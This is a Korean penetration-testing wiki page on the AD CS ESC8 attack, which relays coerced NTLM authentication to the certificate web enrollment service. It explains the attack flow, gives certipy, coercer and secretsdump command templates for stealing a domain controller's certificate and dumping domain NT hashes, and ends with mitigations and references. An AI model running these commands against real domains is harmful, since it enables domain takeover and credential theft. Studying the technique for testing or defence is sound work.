펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Abuse
  • Mitigation
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC8

PreviousESC7NextESC9

Last updated 1 month ago

Was this helpful?

ADCS를 이용하여 인증 기관으로부터 인증서 발급/관리/갱신/폐기 등의 작업을 할 때 별도의 도구나 프로그램을 설치하지 않고도 웹 서비스를 통해 할 수 있는 기능이 있습니다. 관리자가 CA에 웹을 등록했다면 http://< IP>/certsrv를 통해서 인터페이스 사용이 가능합니다. 이것이 필요한 이유는 웹을 통한 편리한 관리 및 호환성 때문입니다. 하지만 인가된 사용자만이 웹 서비스를 이용하여 ADCS를 이용하기 위해서는 사용자 인증이 필요한데, 이곳에서 NTLM을 통한 인증이 사용될 수 있습니다.

아래 HTTP Response 메시지는 ADCS 웹 서비스를 구현한 엔드포인트에 cURL을 통해서 HTTP 요청 패킷을 전송시 반환되는 메시지입니다.

htb-student@ubuntu:~$ curl -I http://172.16.19.5/certsrv
HTTP/1.1 401 Unauthorized
Content-Length: 1293
Content-Type: text/html
Server: Microsoft-IIS/10.0
WWW-Authenticate: NTLM
WWW-Authenticate: Negotiate
X-Powered-By: ASP.NET
Date: Tue, 10 Dec 2024 09:32:55 GMT

이와 같이 서버의 헤더에 NTLM 인증이 활성화된 경우 Windows는 자동으로 클라이언트의 개입 없이 NTLM을 통한 인증을 하게 됩니다. 따라서 공격자가 다른 사용자의 NTLM 인증 과정을 가로채어 웹 서비스에서 인증한다면 ADCS로부터 가로챈 객체의 인증서 pfx 파일을 탈취할 수 있고, 이 파일로부터 ST를 발급받아 NT Hash를 덤핑할 수 있습니다. 다음은 이를 간략하게 표현한 그림입니다.

  1. 공격자가 DC를 자신이 수신하는 서버에 강제 인증 하도록 한다.

  2. DC의 NTLM은 공격자에게 탈취된다.

  3. 공격자는 탈취한 NTLM 값으로 ADCS에 DC임을 인증하고 인증서 요청

  4. ADCS는 DC의 pfx 파일을 공격자에게 전송

  5. 공격자는 pfx 파일을 통해 DC에 TGT 발급 요청

  6. DC는 공격자에게 TGT 발행

Abuse

# 취약한 템플릿 식별
certipy find -u <USER> -p <PASS> -dc-ip <dc-ip> -vulnerable -stdout

# NTLM Relay를 위한 수신 활성화
certipy relay -target <Target> -template <Template>

# 강제 인증
coercer coerce -l <Local IP> -t <Target IP> -u <USER> -p <PASS> -d <Domain> -v

# 캡처된 NTLM Relay를 이용한 pfx 파일 획득 후 악용
certipy auth -pfx <PFX>

# 도메인 NT Hash 덤핑
KRB5CCNAME=<Domain.ccache> /usr/share/doc/python3-impacket/examples/secretsdump.py -k -no-pass <Domain FQDN>

Mitigation

  1. 모든 ADCS 웹 인터페이스에서 HTTPS 프로토콜을 활성화 하여 NTLM Relay로부터 보호합니다.

  2. 클라이언트 인증 및 도메인 머신 계정 등록을 허용하는 템플릿을 제한합니다.

References

Exploiting AD CS: A quick look at ESC1 and ESC8 | Crowe LLPCrowe
Mitigating ESC1 and ESC8 Vulnerability in Active DirectoryEncryption Consulting
Logo
Active Directory Certificate Attack: ESC8 – ADCS Web Enrollment | RBT SecurityRBT Security | Reinventing The Security
Logo
https://www.crowe.com/cybersecurity-watch/exploiting-ad-cs-a-quick-look-at-esc1-esc8
Certification Authority Web Enrollment Role Service in Windows ServerMicrosoftLearn
Logo
Logo